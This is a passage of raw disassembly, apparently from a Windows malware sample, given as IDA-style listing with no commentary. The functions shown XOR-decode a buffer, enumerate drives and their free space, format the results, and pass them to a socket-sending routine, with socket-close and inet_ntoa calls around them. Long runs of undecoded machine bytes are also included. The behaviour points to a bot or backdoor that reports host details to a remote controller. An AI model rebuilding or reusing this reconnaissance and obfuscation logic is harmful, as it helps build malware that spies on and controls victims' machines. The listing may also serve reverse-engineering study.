[ebp+var_18] push offset dword_44D9CC lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40B00F add esp, 14h push offset dword_44D9E4 call sub_4173DC pop ecx push [ebp+var_1BC] call dword_4E1798 ; closesocket push [ebp+var_1C] call sub_40D802 pop ecx push 1 nop call near ptr 2800000h loc_418BFE: ; CODE XREF: sub_41873A+47Bj mov eax, [ebp+var_8E0] sub eax, [ebp+var_4] mov [ebp+var_8E0], eax jmp loc_418AD6 ; --------------------------------------------------------------------------- loc_418C12: ; CODE XREF: sub_41873A+3A3j cmp [ebp+var_8E4], 0FFFFFFFFh jz short loc_418C27 push [ebp+var_8E4] nop call near ptr 27800D6h loc_418C27: ; CODE XREF: sub_41873A+4DFj push [ebp+var_1C4] push [ebp+var_1C8] call sub_4196B4 pop ecx pop ecx push eax push [ebp+var_A00] call dword_4E178C ; inet_ntoa push eax lea eax, [ebp+var_1A4] push eax push offset dword_44D9FC lea eax, [ebp+var_8D4] push eax call sub_4219C0 add esp, 14h loc_418C63: ; CODE XREF: sub_41873A+46j ; sub_41873A+7Aj ... cmp [ebp+var_14], 0 jnz short loc_418C8A push 0 push [ebp+var_18] lea eax, [ebp+var_8D4] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40B00F add esp, 14h loc_418C8A: ; CODE XREF: sub_41873A+52Dj lea eax, [ebp+var_8D4] push eax call sub_4173DC pop ecx cmp [ebp+var_2D4], 0 jbe short loc_418CAC push [ebp+var_2D4] call dword_4E1798 ; closesocket loc_418CAC: ; CODE XREF: sub_41873A+564j push [ebp+var_1BC] call dword_4E1798 ; closesocket push [ebp+var_1C] call sub_40D802 pop ecx push 0 call near ptr 2800000h nop pop edi pop esi leave retn 4 sub_41873A endp ; --------------------------------------------------------------------------- byte_418CCF db 55h ; DATA XREF: sub_4021E5+C8Eo dd 0D4B8EC8Bh, 0E8000014h, 9204h, 758B5756h, 596D6A08h dd 0FE44BD8Dh, 0A5F3FFFFh, 8908458Bh, 458BFC45h, 0B080C7FCh dd 1000001h, 83000000h, 6800F865h, 104h, 0FD40858Dh, 0E850FFFFh dd 2377E42h, 60858D90h, 50FFFFFEh, 0FD40858Dh, 6850FFFFh dd 44DA28h, 0FD40858Dh, 0E850FFFFh, 8C8Ch, 6A10C483h, 0C0855801h dd 216840Fh, 6A0000h, 8068h, 6A026A00h, 68016A00h, 40000000h dd 0FD40858Dh, 9050FFFFh, 4386F3E8h, 2C858902h, 83FFFFEBh dd 0FFEB2CBDh, 1875FFFFh, 44DA3068h, 34858D00h, 50FFFFEBh dd 8C3FE8h, 0E9595900h, 1D0h, 0EB2CB5FFh, 0E890FFFFh, 2367342h dd 44DA6068h, 40858D00h, 50FFFFFDh, 864BE8h, 89595900h dd 0FFFD3485h, 34BD83FFh, 0FFFFFDh, 64681875h, 8D0044DAh dd 0FFEB3485h, 0F9E850FFh, 5900008Bh, 18AE959h, 75FF0000h dd 4C858DE4h, 50FFFFFEh, 0FFF692E8h, 895959FFh, 0FFFD3C85h dd 3CBD83FFh, 0FFFFFFFDh, 90681875h, 8D0044DAh, 0FFEB3485h dd 0C1E850FFh, 5900008Bh, 152E959h, 85C70000h, 0FFFFEB30h dd 1, 0EB30BD83h, 0F00FFFFh, 10B84h, 10006800h, 6A0000h dd 0ED34858Dh, 0E850FFFFh, 85E0h, 6A0CC483h, 10006800h dd 858D0000h, 0FFFFED34h, 3CB5FF50h, 0FFFFFFFDh, 4E171815h dd 30858900h, 83FFFFEBh, 0FFEB30BDh, 57500FFh, 0C7E9h dd 30BD8300h, 0FFFFFFEBh, 0B0686A75h, 8D0044DAh, 0FFEB3485h dd 45E850FFh, 5900008Bh, 0FF006A59h, 858DEC75h, 0FFFFEB34h dd 64858D50h, 50FFFFFFh, 0FE44B5FFh, 74E8FFFFh, 83FFFF21h dd 858D14C4h, 0FFFFEB34h, 0E532E850h, 0FF59FFFFh, 0FFFD34B5h dd 5D9AE8FFh, 0FF590000h, 0FFFD3CB5h, 9815FFFFh, 0FF004E17h dd 37E8E875h, 59FFFF49h, 0E890016Ah, 23E712Ch, 0FD34B5FFh dd 0B5FFFFFFh, 0FFFFEB30h, 858D016Ah, 0FFFFED34h, 0AF92E850h dd 0C4830000h, 0F8458B10h, 0EB308503h, 4589FFFFh, 0F875FFF8h dd 16FC15FFh, 8589004Eh, 0FFFFFD38h, 46A006Ah, 0FD38858Dh dd 0FF50FFFFh, 0FFFD3CB5h, 5015FFFFh, 0E9004E17h, 0FFFFFEE8h dd 99F8458Bh, 81E85052h, 59000007h, 858D5059h, 0FFFFFE4Ch dd 60858D50h, 50FFFFFEh, 44DAC868h, 34858D00h, 50FFFFEBh dd 8A6BE8h, 14C48300h, 0F07D83h, 6A2175h, 8DEC75FFh, 0FFEB3485h dd 858D50FFh, 0FFFFFF64h, 44B5FF50h, 0E8FFFFFEh, 0FFFF2093h dd 8D14C483h, 0FFEB3485h, 51E850FFh, 59FFFFE4h, 0FD34BD83h dd 7400FFFFh, 34B5FF0Ch, 0E8FFFFFDh, 5CB0h, 3CBD8359h dd 0FFFFFDh, 0B5FF0C76h, 0FFFFFD3Ch, 179815FFh, 75FF004Eh dd 4844E8E8h, 6A59FFFFh, 703AE800h, 5F90023Eh, 4C2C95Eh db 0 byte_418FCD db 55h, 8Bh, 0ECh ; DATA XREF: sub_4021E5+6D83o ; sub_4021E5+75E3o dd 54CEC81h, 57560000h, 0B908758Bh, 0AAh, 0FD54BD8Dh, 0A5F3FFFFh dd 8908458Bh, 0FFFD4085h, 40858BFFh, 0C7FFFFFDh, 2A480h dd 100h, 2 dup(6A006A00h), 0D8858D00h, 50FFFFFDh, 16B035FFh dd 15FF004Eh, 4E1604h, 0FD488589h, 0BD83FFFFh, 0FFFFFD48h dd 0BF840F00h, 6A000005h, 6A006A00h, 6A006A02h, 6800h dd 858D4000h, 0FFFFFED8h, 9E89050h, 89024384h, 0FFFB3485h dd 34BD83FFh, 1FFFFFBh, 858D6073h, 0FFFFFED8h, 0DAF46850h dd 858D0044h, 0FFFFFB40h, 894EE850h, 0C4830000h, 0F07D830Ch dd 6A217500h, 0F475FF00h, 0FB40858Dh, 8D50FFFFh, 0FFFD5885h dd 0B5FF50FFh, 0FFFFFD54h, 0FF1F76E8h, 14C483FFh, 0FB40858Dh dd 0E850FFFFh, 0FFFFE334h, 0D875FF59h, 0FF4751E8h, 6A59FFh dd 6F46E890h, 0A583023Eh, 0FFFFFD44h, 0F5E89000h, 8902397Ch dd 0FFFB3C85h, 0D00068FFh, 0C9E80007h, 5900005Ch, 0FB388589h dd 68FFFFh, 6A000002h, 40858D00h, 50FFFFFBh, 831FE8h, 0CC48300h dd 0FD50858Dh, 6850FFFFh, 200h, 0FB40858Dh, 0FF50FFFFh dd 0FFFD48B5h, 0C15FFFFh, 83004E16h, 7400EC7Dh, 50B5FF14h dd 8DFFFFFDh, 0FFFB4085h, 37E850FFh, 59000005h, 8D006A59h dd 0FFFD4C85h, 0B5FF50FFh, 0FFFFFD50h, 0FB40858Dh, 0FF50FFFFh dd 0FFFB34B5h, 6EB2E8FFh, 8190023Fh, 0FFFD44BDh, 7D000FFh dd 0B84D7300h, 7D000h, 0FD44852Bh, 8589FFFFh, 0FFFFFB2Ch dd 0FB2C858Bh, 853BFFFFh, 0FFFFFD50h, 858B0C76h, 0FFFFFD50h dd 0FB2C8589h, 0B5FFFFFFh, 0FFFFFB2Ch, 0FB40858Dh, 8B50FFFFh dd 0FFFB3885h, 448503FFh, 50FFFFFDh, 99ABE8h, 0CC48300h dd 0FD44858Bh, 8503FFFFh, 0FFFFFD50h, 0FD448589h, 7D83FFFFh dd 0D7400E4h, 0FD44858Bh, 453BFFFFh, 0EB0276E4h, 0DC7D836Fh dd 8B2F7401h, 0FFFD4485h, 0AE8C1FFh, 0D8858D50h, 50FFFFFDh dd 44DB1C68h, 0D8458B00h, 234C069h, 18050000h, 50004544h dd 87C3E8h, 10C48300h, 858B2DEBh, 0FFFFFD44h, 500AE8C1h dd 0FDD8858Dh, 6850FFFFh, 44DB44h, 69D8458Bh, 234C0h, 44180500h dd 0E8500045h, 8794h, 8310C483h, 0FFFD50BDh, 870F00FFh dd 0FFFFFEA2h, 0FB3085C7h, 1FFFFh, 7D830000h, 5D7400E4h dd 0FD44858Bh, 453BFFFFh, 835274E4h, 0FFFB30A5h, 75FF00FFh dd 44B5FFE4h, 68FFFFFDh, 44DB6Ch, 0FB40858Dh, 0E850FFFFh dd 8748h, 6A10C483h, 0F475FF00h, 0FB40858Dh, 8D50FFFFh dd 0FFFD5885h, 0B5FF50FFh, 0FFFFFD54h, 0FF1D76E8h, 14C483FFh dd 0FB40858Dh, 0E850FFFFh, 0FFFFE134h, 7B0EE859h, 2B900239h dd 0FFFB3C85h, 0B9D233FFh, 3E8h, 0C88BF1F7h, 44858B41h dd 33FFFFFDh, 89F1F7D2h, 0B5FFFC45h, 0FFFFFB34h, 366DFDE8h dd 0B5FF9002h, 0FFFFFB38h, 664BE8h, 7D835900h, 707400E8h dd 0FED8858Dh, 0E850FFFFh, 0FFFE7DF3h, 28858959h, 8BFFFFFBh dd 0FFFB2885h, 0E8453BFFh, 0A5835274h, 0FFFFFB30h, 0E875FF00h dd 0FB28B5FFh, 9868FFFFh, 8D0044DBh, 0FFFB4085h, 95E850FFh dd 83000086h, 6A10C4h, 8DF475FFh, 0FFFB4085h, 858D50FFh dd 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1CC3h, 8D14C483h dd 0FFFB4085h, 81E850FFh, 59FFFFE0h, 0FB30BD83h, 7500FFFFh dd 2F0E905h, 7D830000h, 840F01DCh, 108h, 89FC458Bh, 0FFFACC85h dd 0D0A583FFh, 0FFFFFAh, 0FACCADDFh, 35DCFFFFh, 43E478h dd 1CDD5151h, 0D8858D24h, 50FFFFFEh, 0FD44858Bh, 8589FFFFh dd 0FFFFFAC4h, 0FAC8A583h, 0DF00FFFFh, 0FFFAC4ADh, 7835DCFFh dd 510043E4h, 241CDD51h, 44DBC068h, 40858D00h, 50FFFFFBh dd 85EFE8h, 1CC48300h, 0F07D83h, 6A2175h, 8DF475FFh, 0FFFB4085h dd 858D50FFh, 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1C17h dd 8D14C483h, 0FFFB4085h, 0D5E850FFh, 59FFFFDFh, 1E07D83h dd 56A6975h, 6A006Ah, 0FED8858Dh, 6850FFFFh, 44DBF8h, 15FF006Ah dd 4E166Ch, 0F07D83h, 858D4975h, 0FFFFFED8h, 0DC006850h dd 858D0044h, 0FFFFFB40h, 857AE850h, 0C4830000h, 0FF006A0Ch dd 858DF475h, 0FFFFFB40h, 58858D50h, 50FFFFFDh, 0FD54B5FFh dd 0A8E8FFFFh, 83FFFF1Bh, 858D14C4h, 0FFFFFB40h, 0DF66E850h dd 0E959FFFFh, 170h, 89FC458Bh, 0FFFABC85h, 0C0A583FFh dd 0FFFFFAh, 0FABCADDFh, 35DCFFFFh, 43E478h, 1CDD5151h dd 0D8858D24h, 50FFFFFEh, 0FD44858Bh, 8589FFFFh, 0FFFFFAB4h dd 0FAB8A583h, 0DF00FFFFh, 0FFFAB4ADh, 7835DCFFh, 510043E4h dd 241CDD51h, 44DC1C68h, 40858D00h, 50FFFFFBh, 84E7E8h dd 1CC48300h, 0F07D83h, 6A2175h, 8DF475FFh, 0FFFB4085h dd 858D50FFh, 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1B0Fh dd 8D14C483h, 0FFFB4085h, 0CDE850FFh, 59FFFFDEh, 6A106Ah dd 0FAD4858Dh, 0E850FFFFh, 7EF0h, 6A0CC483h, 8D006A44h dd 0FFFAE485h, 0DDE850FFh, 8300007Eh, 85C70CC4h, 0FFFFFAF0h dd 4E8620h, 0FAE485C7h, 44FFFFh, 85C70000h, 0FFFFFB10h dd 1, 14A58366h, 0FFFFFBh, 0FAD4858Dh, 8D50FFFFh, 0FFFAE485h dd 6A50FFh, 286A006Ah, 6A006Ah, 858D006Ah, 0FFFFFED8h dd 90006A50h, 366FEAE8h, 1F88302h, 15FF1375h, 4E1658h dd 1372E8h, 90006A00h, 40383DE8h, 0D8858D7Ch, 50FFFFFEh dd 44DC6068h, 40858D00h, 50FFFFFBh, 840BE8h, 0CC48300h dd 0F07D83h, 6A2175h, 8DF475FFh, 0FFFB4085h, 858D50FFh dd 0FFFFFD58h, 54B5FF50h, 0E8FFFFFDh, 0FFFF1A33h, 8D14C483h dd 0FFFB4085h, 0F1E850FFh, 59FFFFDDh, 858D4FEBh, 0FFFFFDD8h dd 0DC946850h, 858D0044h, 0FFFFFB40h, 83BAE850h, 0C4830000h dd 0F07D830Ch, 6A217500h, 0F475FF00h, 0FB40858Dh, 8D50FFFFh dd 0FFFD5885h, 0B5FF50FFh, 0FFFFFD54h, 0FF19E2E8h, 14C483FFh dd 0FB40858Dh, 0E850FFFFh, 0FFFFDDA0h, 48B5FF59h, 0FFFFFFFDh dd 4E173415h, 0D875FF00h, 0FF41B1E8h, 6A59FFh, 69A6E890h dd 0E1EB023Eh, 0C2C95E5Fh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx and dword ptr [ebp-4], 0 jmp short loc_419673 ; --------------------------------------------------------------------------- loc_41966C: ; CODE XREF: .XComp0:00419691j mov eax, [ebp-4] inc eax mov [ebp-4], eax loc_419673: ; CODE XREF: .XComp0:0041966Aj mov eax, [ebp-4] cmp eax, [ebp+0Ch] jge short loc_419693 mov eax, [ebp+8] add eax, [ebp-4] mov al, [eax] xor al, byte_441090 mov ecx, [ebp+8] add ecx, [ebp-4] mov [ecx], al jmp short loc_41966C ; --------------------------------------------------------------------------- loc_419693: ; CODE XREF: .XComp0:00419679j mov eax, [ebp+8] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419698 proc near ; CODE XREF: sub_4021E5+8BB1p ; sub_4021E5+8DB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_4] push [ebp+arg_0] call sub_4240E0 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx pop ebp retn sub_419698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196B4 proc near ; CODE XREF: sub_415120+585p ; sub_415120+766p ... var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 44h mov [ebp+var_4], 32h and [ebp+var_3C], 0 push 32h push 0 push offset dword_4E8624 call sub_421410 add esp, 0Ch lea eax, [ebp+var_38] mov [ebp+var_40], eax loc_4196DC: ; CODE XREF: sub_4196B4+91j push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_4241B0 add eax, 30h adc edx, 0 mov ecx, [ebp+var_40] mov [ecx], al mov eax, [ebp+var_40] inc eax mov [ebp+var_40], eax push 0 push 0Ah push [ebp+arg_4] push [ebp+arg_0] call sub_424140 mov [ebp+arg_0], eax mov [ebp+arg_4], edx mov eax, [ebp+arg_0] or eax, [ebp+arg_4] test eax, eax jz short loc_41973D mov eax, [ebp+var_3C] inc eax mov [ebp+var_3C], eax mov eax, [ebp+var_3C] cdq push 3 pop ecx idiv ecx test edx, edx jnz short loc_41973D mov eax, [ebp+var_40] mov byte ptr [eax], 2Ch mov eax, [ebp+var_40] inc eax mov [ebp+var_40], eax loc_41973D: ; CODE XREF: sub_4196B4+66j ; sub_4196B4+7Aj mov eax, [ebp+arg_0] or eax, [ebp+arg_4] test eax, eax jnz short loc_4196DC mov eax, [ebp+var_40] dec eax mov [ebp+var_40], eax mov [ebp+var_44], offset dword_4E8624 jmp short loc_41975E ; --------------------------------------------------------------------------- loc_419757: ; CODE XREF: sub_4196B4+C5j mov eax, [ebp+var_40] dec eax mov [ebp+var_40], eax loc_41975E: ; CODE XREF: sub_4196B4+A1j mov eax, [ebp+var_40] lea ecx, [ebp+var_38] cmp eax, ecx jb short loc_41977B mov eax, [ebp+var_44] mov ecx, [ebp+var_40] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_44] inc eax mov [ebp+var_44], eax jmp short loc_419757 ; --------------------------------------------------------------------------- loc_41977B: ; CODE XREF: sub_4196B4+B2j mov eax, [ebp+var_44] and byte ptr [eax], 0 mov eax, offset dword_4E8624 leave retn sub_4196B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419788 proc near ; CODE XREF: sub_4199AA+54p ; sub_4199AA+8Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call dword_4E1760 ; GetDriveTypeA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4197BE cmp [ebp+var_4], 1 jz short loc_4197C5 cmp [ebp+var_4], 3 jz short loc_4197CC cmp [ebp+var_4], 4 jz short loc_4197D3 cmp [ebp+var_4], 5 jz short loc_4197DA cmp [ebp+var_4], 6 jz short loc_4197E1 jmp short loc_4197E8 ; --------------------------------------------------------------------------- loc_4197BE: ; CODE XREF: sub_419788+14j mov eax, offset aUnknown_0 ; "Unknown" jmp short locret_4197ED ; --------------------------------------------------------------------------- loc_4197C5: ; CODE XREF: sub_419788+1Aj mov eax, offset aInvalid ; "Invalid" jmp short locret_4197ED ; --------------------------------------------------------------------------- loc_4197CC: ; CODE XREF: sub_419788+20j mov eax, offset aDisk ; "Disk" jmp short locret_4197ED ; --------------------------------------------------------------------------- loc_4197D3: ; CODE XREF: sub_419788+26j mov eax, offset aNetwork ; "Network" jmp short locret_4197ED ; --------------------------------------------------------------------------- loc_4197DA: ; CODE XREF: sub_419788+2Cj mov eax, offset aCdrom ; "Cdrom" jmp short locret_4197ED ; --------------------------------------------------------------------------- loc_4197E1: ; CODE XREF: sub_419788+32j mov eax, offset off_44DCE8 jmp short locret_4197ED ; --------------------------------------------------------------------------- loc_4197E8: ; CODE XREF: sub_419788+34j mov eax, offset dword_44DCEC locret_4197ED: ; CODE XREF: sub_419788+3Bj ; sub_419788+42j ... leave retn sub_419788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4197EF proc near ; CODE XREF: sub_41983F+15p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi push edi or [ebp+var_18], 0FFFFFFFFh or [ebp+var_14], 0FFFFFFFFh or [ebp+var_10], 0FFFFFFFFh or [ebp+var_C], 0FFFFFFFFh or [ebp+var_8], 0FFFFFFFFh or [ebp+var_4], 0FFFFFFFFh cmp dword_4E15F0, 0 jz short loc_41982D lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_4] call dword_4E15F0 ; GetDiskFreeSpaceExA loc_41982D: ; CODE XREF: sub_4197EF+27j push 6 pop ecx lea esi, [ebp+var_18] mov edi, [ebp+arg_0] rep movsd mov eax, [ebp+arg_0] pop edi pop esi leave retn sub_4197EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41983F proc near ; CODE XREF: sub_4199AA+15p ; sub_41E318+287p var_1C8 = byte ptr -1C8h var_1B0 = byte ptr -1B0h var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = dword ptr -18Ch var_188 = dword ptr -188h var_184 = dword ptr -184h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1C8h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_1C8] push eax call sub_4197EF pop ecx pop ecx mov esi, eax push 6 pop ecx lea edi, [ebp+var_1B0] rep movsd push 6 pop ecx lea esi, [ebp+var_1B0] lea edi, [ebp+var_198] rep movsd mov eax, [ebp+var_198] and eax, [ebp+var_194] cmp eax, 0FFFFFFFFh jz short loc_4198AC mov eax, [ebp+var_190] and eax, [ebp+var_18C] cmp eax, 0FFFFFFFFh jz short loc_4198AC mov eax, [ebp+var_188] and eax, [ebp+var_184] cmp eax, 0FFFFFFFFh jnz short loc_4198E7 loc_4198AC: ; CODE XREF: sub_41983F+49j ; sub_41983F+5Aj push offset aFailed ; "failed" lea eax, [ebp+var_180] push eax call sub_4219C0 pop ecx pop ecx push offset aFailed_0 ; "failed" lea eax, [ebp+var_100] push eax call sub_4219C0 pop ecx pop ecx push offset aFailed_1 ; "failed" lea eax, [ebp+var_80] push eax call sub_4219C0 pop ecx pop ecx jmp loc_419995 ; --------------------------------------------------------------------------- loc_4198E7: ; CODE XREF: sub_41983F+6Bj push 0 push 400h push [ebp+var_194] push [ebp+var_198] call sub_424230 push edx push eax call sub_4196B4 pop ecx pop ecx push eax push offset aSkb ; "%sKB" push 80h lea eax, [ebp+var_180] push eax call sub_421B90 add esp, 10h push 0 push 400h push [ebp+var_18C] push [ebp+var_190] call sub_424230 push edx push eax call sub_4196B4 pop ecx pop ecx push eax push offset aSkb_0 ; "%sKB" push 80h lea eax, [ebp+var_100] push eax call sub_421B90 add esp, 10h push 0 push 400h push [ebp+var_184] push [ebp+var_188] call sub_424230 push edx push eax call sub_4196B4 pop ecx pop ecx push eax push offset aSkb_1 ; "%sKB" push 80h lea eax, [ebp+var_80] push eax call sub_421B90 add esp, 10h loc_419995: ; CODE XREF: sub_41983F+A3j push 60h pop ecx lea esi, [ebp+var_180] mov edi, [ebp+arg_0] rep movsd mov eax, [ebp+arg_0] pop edi pop esi leave retn sub_41983F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199AA proc near ; CODE XREF: sub_419A83+18p ; sub_419A83+7Fp var_680 = byte ptr -680h var_500 = byte ptr -500h var_380 = byte ptr -380h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 680h push esi push edi push [ebp+arg_C] lea eax, [ebp+var_680] push eax call sub_41983F pop ecx pop ecx mov esi, eax push 60h pop ecx lea edi, [ebp+var_500] rep movsd push 60h pop ecx lea esi, [ebp+var_500] lea edi, [ebp+var_180] rep movsd push offset aFailed_2 ; "failed" lea eax, [ebp+var_80] push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_419A20 push [ebp+arg_C] push [ebp+arg_C] call sub_419788 pop ecx push eax push offset unk_44DD28 push 200h lea eax, [ebp+var_380] push eax call sub_421B90 add esp, 14h jmp short loc_419A58 ; --------------------------------------------------------------------------- loc_419A20: ; CODE XREF: sub_4199AA+4Cj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_C] push [ebp+arg_C] call sub_419788 pop ecx push eax push offset unk_44DD64 push 200h lea eax, [ebp+var_380] push eax call sub_421B90 add esp, 20h loc_419A58: ; CODE XREF: sub_4199AA+74j push 1 push [ebp+arg_8] lea eax, [ebp+var_380] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_380] push eax call sub_4173DC pop ecx pop edi pop esi leave retn sub_4199AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A83 proc near ; CODE XREF: sub_4021E5+3015p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_C], 0 jz short loc_419AA8 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4199AA add esp, 10h jmp locret_419B28 ; --------------------------------------------------------------------------- loc_419AA8: ; CODE XREF: sub_419A83+Aj push 0 push 0 call dword_4E1668 ; GetLogicalDriveStringsA mov [ebp+var_8], eax mov eax, [ebp+var_8] inc eax inc eax push eax call sub_41EDA0 pop ecx mov [ebp+var_C], eax push [ebp+var_C] mov eax, [ebp+var_8] inc eax inc eax push eax call dword_4E1668 ; GetLogicalDriveStringsA mov eax, [ebp+var_C] mov [ebp+var_4], eax loc_419AD9: ; CODE XREF: sub_419A83+9Aj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_419B1F push offset off_44DDA0 push [ebp+var_4] call sub_422740 pop ecx pop ecx test eax, eax jz short loc_419B0A push [ebp+var_4] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4199AA add esp, 10h loc_419B0A: ; CODE XREF: sub_419A83+71j push [ebp+var_4] call sub_41EBD0 pop ecx mov ecx, [ebp+var_4] lea eax, [ecx+eax+1] mov [ebp+var_4], eax jmp short loc_419AD9 ; --------------------------------------------------------------------------- loc_419B1F: ; CODE XREF: sub_419A83+5Ej push [ebp+var_C] call sub_41F930 pop ecx locret_419B28: ; CODE XREF: sub_419A83+20j leave retn sub_419A83 endp ; --------------------------------------------------------------------------- word_419B2A dw 8B55h ; DATA XREF: sub_4021E5+70C0o dd 0A4EC81ECh, 56000004h, 8758B57h, 0A7B9h, 60BD8D00h dd 0F3FFFFFDh, 8458BA5h, 8BFC4589h, 80C7FC45h, 298h, 1 dd 0FD5CA583h, 8D00FFFFh, 0FFFEE885h, 65E850FFh, 59000050h dd 584BE0Fh, 0FFFFFEE7h, 755CF883h, 0E8858D15h, 50FFFFFEh dd 504BE8h, 0A4805900h, 0FFFEE705h, 858D00FFh, 0FFFFFDE4h dd 0DDA46850h, 680044h, 8D000002h, 0FFFB5C85h, 0E5E850FFh dd 8300007Fh, 7D8310C4h, 217500F4h, 75FF006Ah, 5C858DF0h dd 50FFFFFBh, 0FD64858Dh, 0FF50FFFFh, 0FFFD60B5h, 143DE8FFh dd 0C483FFFFh, 5CB5FF14h, 8DFFFFFDh, 0FFFEE885h, 858D50FFh dd 0FFFFFDE4h, 0F075FF50h, 0FD64858Dh, 0FF50FFFFh, 0FFFD60B5h dd 6EE8FFh, 0C4830000h, 5C858918h, 0FFFFFFFDh, 0FFFD5CB5h dd 0DDCC68FFh, 858D0044h, 0FFFFFB5Ch, 7DA2E850h, 0C4830000h dd 0F47D830Ch, 6A217500h, 0F075FF00h, 0FB5C858Dh, 8D50FFFFh dd 0FFFD6485h, 0B5FF50FFh, 0FFFFFD60h, 0FF13CAE8h, 14C483FFh dd 0FB5C858Dh, 0E850FFFFh, 0FFFFD788h, 0EC75FF59h, 0FF3BA5E8h dd 6A59FFh, 639AE890h, 5E5F023Eh, 4C2C9h, 81EC8B55h, 54CECh dd 1875FF00h, 44DDEC68h, 1046800h, 858D0000h, 0FFFFFCB4h dd 7F02E850h, 0C4830000h, 0C0858D10h, 50FFFFFEh, 0FCB4858Dh dd 9050FFFFh, 47635BE8h, 0BC858902h, 83FFFFFEh, 0FFFEBCBDh dd 840FFFFFh, 8Fh, 0FEC0858Bh, 0E083FFFFh, 74C08510h, 85BE0F67h dd 0FFFFFEECh, 752EF883h, 85BE0F17h, 0FFFFFEEDh, 5074C085h dd 0ED85BE0Fh, 83FFFFFEh, 44742EF8h, 0FEEC858Dh, 0FF50FFFFh dd 0F4681875h, 680044DDh, 104h, 0FDB8858Dh, 0E850FFFFh dd 7E88h, 0FF14C483h, 858D1C75h, 0FFFFFDB8h, 1475FF50h dd 0FF1075FFh, 75FF0C75h, 0FF46E808h, 0C483FFFFh, 1C458918h dd 0FEC0858Dh, 0FF50FFFFh, 0FFFEBCB5h, 0C1E890FFh, 85024662h dd 71850FC0h, 0FFFFFFFFh, 0FFFEBCB5h, 0ADE890FFh, 0FF024462h dd 75FF1475h, 0DDFC6818h, 4680044h, 8D000001h, 0FFFCB485h dd 21E850FFh, 8300007Eh, 858D14C4h, 0FFFFFEC0h, 0B4858D50h dd 50FFFFFCh, 47627BE8h, 85899002h, 0FFFFFEBCh, 0FEBCBD83h dd 74FFFFFFh, 1C458B5Bh, 1C458940h, 0FEEC858Dh, 0FF50FFFFh dd 4681875h, 680044DEh, 200h, 0FAB4858Dh, 0E850FFFFh, 7DD4h dd 6A14C483h, 1075FF01h, 0FAB4858Dh, 0FF50FFFFh, 75FF0C75h dd 1239E808h, 0C483FFFFh, 0C0858D14h, 50FFFFFEh, 0FEBCB5FFh dd 15E8FFFFh, 90024662h, 0A575C085h, 0FEBCB5FFh, 0E890FFFFh dd 2446204h, 0C91C458Bh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E01 proc near ; CODE XREF: sub_419E40+1D7p ; sub_419E40+21Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_419E12 ; --------------------------------------------------------------------------- loc_419E0B: ; CODE XREF: sub_419E01:loc_419E3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_419E12: ; CODE XREF: sub_419E01+8j mov eax, [ebp+arg_4] sub eax, [ebp+arg_C] cmp [ebp+var_4], eax jge short loc_419E3C push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_4242E0 add esp, 0Ch test eax, eax jnz short loc_419E3A mov al, 1 jmp short locret_419E3E ; --------------------------------------------------------------------------- loc_419E3A: ; CODE 